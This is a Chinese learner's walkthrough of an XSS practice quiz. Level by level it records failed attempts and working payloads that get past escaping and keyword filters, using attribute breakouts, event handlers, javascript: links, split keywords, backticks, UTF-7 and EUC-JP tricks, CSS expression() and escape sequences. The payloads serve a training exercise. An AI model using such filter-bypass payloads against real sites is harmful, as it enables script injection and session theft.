XSS quiz

最近刚学XSS。所以新手理解如有错误不当,欢迎批评指正。

第1题

一开始做,使用了Chrome浏览器。第一题怎么都做不出来。突然想起来使用IE,打开IE11,才成功了。

<script>alert(document.domain);</script>

第2题

第二题,直接用这个不行。

查看源代码。

构造一个,把左边的< input ..... 封掉。

"><script>alert(document.domain);</script><"

第3题

随便搜点东西

构造

"</b></form><script>alert(document.domain);</script><from><b>"

也不行。

可见他过滤了尖括号和引号。<>” 分别变成了转义符 &lt;&gt;&quot;

我试试用 Jother。也不行

上网查阅资料,找到另一种回避 < > “ 的方法:Unicode编码

<  \u003c

>  \u003e

“  \u0022

也不行。

再试试Base64

data:text/html;base64,IjwvYj48L2Zvcm0+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pjxmcm9tPjxiPiI=

data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+

似乎也不行。跪了

实在不行了。Hint里写,Hint: The input in text box is properly escaped.

网上的答案写:“但是输入点就不仅这处。”

只好在F12 Console里写:

alert(document.domain)

弹窗。不知出题者什么意思。。。估计不是这个意思。

什么叫输入点不仅此处?尝试使用工具 WebScarab:

改下面的。在Japan后加上

<script>alert(document.domain);</script>

弹窗成功。

在Firefox的FireBug下,直接修改也行。不知道出题的意思是什么。

第4题

发现了这个东西:多出来的

我把它改为了 type=text,直接输入下文:

"><img src=# onerror=alert(document.domain)><input type="text" value="

成功弹窗。

第5题

一开始没注意有什么。没有过滤。突然发现有长度限制15字符。

直接把15改为999。然后填写,弹窗成功。

也可以用WebScarab拦截POST包,修改。可以绕过15字符限制。成功弹窗。

后来看了网上答案,似乎也是用代理拦截。

第6题

这次随便输入东西。发现 <>号被转义为 &lt;&gt;

尝试利用前面的知识:Unicode编码。似乎不行。

突然想起,用这个代码,不需要尖括号:

" onmouseover=alert(document.domain) align="left

弹窗成功。

看答案是基本一样的。

第7题

这一次刚一看,没有长度限制。也没有过滤。仔细看才发现,把&<>” ‘ 这些符号都转义了。

&amp; &lt;&gt; &quot; '

先来试试前面的Unicode和base64吧:

测试不行?

"><img src=# onerror=alert(document.domain)><"

看Hint,Hint: nearly the same... but a bit more tricky.

差点忘了第6题的方法。只是引号不能用了。

突然发现 input的value没有引号。要啥引号!

123 onmouseover=alert(document.domain)

鼠标滑过,弹窗成功。

看来代码还是要仔细看的。

第8题

这次的Search变成了Make a link。果然是输入一个地址,在下面生成一个同样的链接。

那目测要反射型?

但是测试一下发现,他过滤了引号。和尖括号。

" onclick=alert(document.domain) align="left

上面是不行的。

忍不住看一眼答案,瞬间明白了,直接在src里面插代码不就完了。

javascript:alert(document.domain)

这就行了

第9题

看代码,又一个hidden的input。

Hint: UTF-7 XSS

UTF-7:A Mail-Safe Transformation Format of Unicode(RFC1642)。这是一种使用 7 位 ASCII 码对 Unicode 码进行转换的编码。它的设计目的仍然是为了在只能传递 7 为编码的邮件网关中传递信息。 UTF-7 对英语字母、数字和常见符号直接显示,而对其他符号用修正的 Base64 编码。符号 + 和 - 号控制编码过程的开始和暂停。所以乱码中如果夹有英文单词,并且相伴有 + 号和 - 号,这就有可能是 UTF-7 编码。

nputn link.ver=alert(document.domain)不管了,先上FireBug爽一把:

我看到,这个hidden的input,name=”charset”,value=”EUC-JP”。

这EUC-JP是日语的一种编码方式。

研究答案:

+ACI- onmouseover=+ACI-alert(document.domain)+ADsAIg- x=+ACI-

utf-7

实际测试:+编码为%2b

p1=1%2bACI- onmouseover=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=euc-jp

突然在另一个答案上有注释:

现在只有IE支持utf-7所以IE下通过

我去,用了半天火狐了。转回IE

可惜IE也不行?什么情况?

第10题

这次<>”都没有过滤。

用了刚才一招:

" onmouseover=alert(document.domain) align="left

没有弹窗。再看看代码,发现 domain这个词给我过滤了

恐怕要用编码。

对了,上边还有个hidden的input:

<input type="hidden" name="key" value="tubhf22ui/qiq">

这是啥玩意?

搞了半天,忍不住看一眼答案,真是太巧妙了:

" onmouseover=alert(document.domdomainain); x="

把domain过滤掉,两边合起来还是domain。

致以崇高敬意。

"ametoxBug

第11题

这一次什么都没有过滤。不知道会有什么花样。

直接上代码:" onmouseover=alert(document.domdomainain); x="

我去,我的mouseover变为了xxx。而不是上一局的直接删除。

上一局的方法又不好使了。

再来一招:

"><img src=# onerror=alert(document.domain)><"

我去,error这个词也过滤了。

我猜script也会过滤:

果然。<script></script>之间的都被删了。

这次的Hint: "s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"

src=”javascript.......

因此也变为了javaxscript

看答案:使用了 &#09 (\t)把script隔开了。

用 "><a href="javascr ipt:alert(document.domain);">12</a>

点击链接,火狐会直接打开新窗口

用IE,却可以弹窗。我勒个去?

第12题

这次value没有引号。但是发现空格会被过滤。尖括号和引号也会直接消失。

答案是:

``onmouseover=alert(document.domain);

一开始两个单引号。但是用火狐还是不行。用IE可以。

不对,不是单引号,而是ESC下面的键 ` ,ascii码为 96(0x60)。叫做反单引号。

答案写:

//这一关是吧00空字符,和20空格、尖括号、单引号、双引号都过滤成空了。可以用反引号(`)TAB键上面的那个代替。IE下通过、FF,chrome不行。

服了。

第13题

一个背景颜色的题,可惜会过滤我的引号。

关于style,expression,css等方面基本不懂。直接看答案吧。

网上某答案写

background-color:#f00;background:url("javascript:alert(document.domain);");

这种方式没有成功

另一个答案写:

在CSS样式中利用expression实现JavaScript中的onmouseover/onmouseout事件

aa:expression(onmouseover=function(){alert(document.domain)})

似乎也不行。

跪了

先用firebug弹窗,过了再说。

PS:14题开始使用IE8内核的浏览器时,回过头看一看:

两种都可以弹窗。

第14题

还是style的题。先看Hint: s/(url|script|eval|expression)/xxx/ig;

难道是升级版?试了一下,这四个词全变成了xxx。那么上一题的方法也不能用了。

再次看答案,

cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})

看来是在里面插入空白注释来回避审查。

我使用IE11和Firefox都无法弹窗。有可能是浏览器问题(出了这么多问题),于是拿出经典的 点心浏览器(不是做广告),IE8内核。一直按F12切换内核太麻烦。这次弹窗了。那就决定使用它了。

第15题

这是一个javascript,使用了document.write。

先上代码:

");alert(document.domain);alert("

发现转义了<>”

用转义的ASCII码:

16进制,< 0x3c        >0x3e

\x3cscript\x3ealert(document.domain);\x3c/script\x3e

发现单个\不成功。使用这个:

\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

成功弹窗。

PS:

做个小实验,本地HTML,

<script>

document.write("<script>alert(3)</script>");

</script>

不会弹窗。

<script>

document.write("\x3cscript\x3ealert(3)\x3c/script\x3e");

</script>

上面这样转义,则会弹窗。(Chrome)

第16题

目测与15题类似。但是Hint加了一句。

Hint: "document.write();" and "s/\\x/\\\\x/ig;"

再目测这是跟16进制过不去?

\x 会变为 x ,而\\x 还是\\x\\\x变为\\x

试试十进制、八进制啥的。

<>的十进制是60和62。

\60script\62alert(document.domain);\60/script\62

仍然过滤了\。再次变为两个:

\\60script\\62alert(document.domain);\\60/script\\62

仍然不行。\\6集体消失。

试一下Unicode。参考前面的,

<  \u003c

>  \u003e

“  \u0022

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

可以了。

第17题

这一题有两个框。

看答案,这一题似乎较为复杂,和日语编码有关;并且新版本的IE都已经修复了。

提示:multi-byte character

euc-jp的编码范围:

byte 1為8E時, 為2 byte編碼, byte 2範圍為A1-DF

byte 1範圍為A1-FE時, 為2 byte編碼, byte 2範圍為A1-FE

byte 1為8F時為3 byte編碼, byte 2與byte 3範圍均為A1-FE

两个表单元素都提交%A7闭合最后的双引号,查看源码成功了,为什么UI上去没成功?无奈直接在地址栏:javascript:alert(document.domain);

现在发现原来是浏览器版本问题,别用IE8了过这个。

p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7

干脆跳过拉倒。

第18题

同样问题。

跳过拉倒。

第19题

这一题没有了input的框。只有一个指向自己的link。

那怎么办,直接console输入拉倒。(在地址栏输入javascript:alert(document.domain)也行)

全部通关。

XSS quiz练习题做题过程及感悟的更多相关文章

  1. ACM 做题过程中的一些小技巧。

    ACM做题过程中的一些小技巧. 1.一般用C语言节约空间,要用C++库函数或STL时才用C++; cout.cin和printf.scanf最好不要混用. 2.有时候int型不够用,可以用long l ...

  2. ACM做题过程中的一些小技巧

    1.一般用C语言节约空间,要用C++库函数或STL时才用C++; cout.cin和printf.scanf最好不要混用. 2.有时候int型不够用,可以用long long或__int64型(两个下 ...

  3. CodeM美团点评编程大赛复赛 做题感悟&题解

    [T1] [简要题意]   长度为N的括号序列,随机确定括号的方向:对于一个已确定的序列,每次消除相邻的左右括号(右左不行),消除后可以进一步合并和消除直到不能消为止.求剩下的括号的期望.\(N \l ...

  4. C语言程序设计做题笔记之C语言基础知识(下)

    C 语言是一种功能强大.简洁的计算机语言,通过它可以编写程序,指挥计算机完成指定的任务.我们可以利用C语言创建程序(即一组指令),并让计算机依指令行 事.并且C是相当灵活的,用于执行计算机程序能完成的 ...

  5. C语言程序设计做题笔记之C语言基础知识(上)

    C语言是一种功能强大.简洁的计算机语言,通过它可以编写程序,指挥计算机完成指定的任务.我们可以利用C语言创建程序(即一组指令),并让计算机依指令行事.并且C是相当灵活的,用于执行计算机程序能完成的几乎 ...

  6. SDOI2016 R1做题笔记

    SDOI2016 R1做题笔记 经过很久很久的时间,shzr终于做完了SDOI2016一轮的题目. 其实没想到竟然是2016年的题目先做完,因为14年的六个题很早就做了四个了,但是后两个有点开不动.. ...

  7. AtCoder Grand Contest 11~17 做题小记

    原文链接https://www.cnblogs.com/zhouzhendong/p/AtCoder-Grand-Contest-from-11-to-20.html UPD(2018-11-16): ...

  8. AtCoder Grand Contest 1~10 做题小记

    原文链接https://www.cnblogs.com/zhouzhendong/p/AtCoder-Grand-Contest-from-1-to-10.html 考虑到博客内容较多,编辑不方便的情 ...

  9. noip做题记录+挑战一句话题解?

    因为灵巧实在太弱辽不得不做点noip续下命QQAQQQ 2018 积木大赛/铺设道路 傻逼原题? 然后傻逼的我居然检查了半天是不是有陷阱最后花了差不多一个小时才做掉我做过的原题...真的傻逼了我:( ...

随机推荐

  1. mysql本地可以访问 网络不能访问

    远程登陆数据库的时候出现了下面出错信息: ERROR 2003 (HY000): Can't connect to MySQL server on 'xxx.xxx.xxx.xxx', 经过今天下午的 ...

  2. Java清除:收尾和垃圾收集

    垃圾收收集器(GC)只知道释放由new关键字分配的内存,所以不知道如何释放对象的"特殊"内存.为了解决这个问题,Java提供了一个名为:finalize()的方法,可为我们的类定义 ...

  3. asp.net mvc4 使用 System.Web.Optimization 对javascript和style的引入、代码合并和压缩的优化(ScriptBundle,StyleBundle,Bundling and Minification )

    Bundling and Minification两个单词对今天的内容有个比较好的总结. 问题所在 一. 在asp.net包括mvc项目中,引入js和css也许有人认为是个很容易和很简单操作的事情,v ...

  4. JavaScript中数组的增删改查

                                               数组的增加 ary.push()   向数组末尾添加元素,返回的是添加后新数组的长度,原有数组改变 ary.uns ...

  5. SharePoint 2013 日历视图兼容性问题

    在IE11上访问SharePoint 2013 calendar视图,发现加入兼容性视图以后访问,正常,如下图: 不加入兼容性视图IE11访问,出现兼容性问题,如下图: 因为有些环境有问题,有些环境没 ...

  6. 如何处理Android Studio 上面关于 update 和 commit 小箭头的消失

    问题: android studio 在关联 SVN 或者 git 服务后,会在工具栏出现 update 和 commit 小箭头 如图: 但是,有时你打开工程的时候,发现这两个小箭头却消失不见了 如 ...

  7. OC中.pch文件的解释

      在IOS开发的项目中有一个Prefix.pch,.pch文件是什么?  Prefix.pch:扩展名.pch表示"precompiled header",这是一个你工程要用到的 ...

  8. PHP操作mysql数据库:[2]查询数据听语音

    本文主要详细讲解如何使用php语言,对mysql数据库进行查询.添加.删除.更新等操作. 工具/原料   Macromedia Dreamweaver 8 mysql数据库,php语言 一.前言   ...

  9. C#生成注册码

    string t = DateTime.Now.Ticks.ToString(); t = DESKey.DESEncrypt(t, DESKey.DesKeyStr); string[] strid ...

  10. Java集合的10个最常见问题

    以下是一些在Stackoverflow上经常被问起的与Java集合相关的问题.在你查阅这些问题之前,最好先去看看[Simple Java]Java集合框架的接口和类层次关系结构图. 什么时候优先选择L ...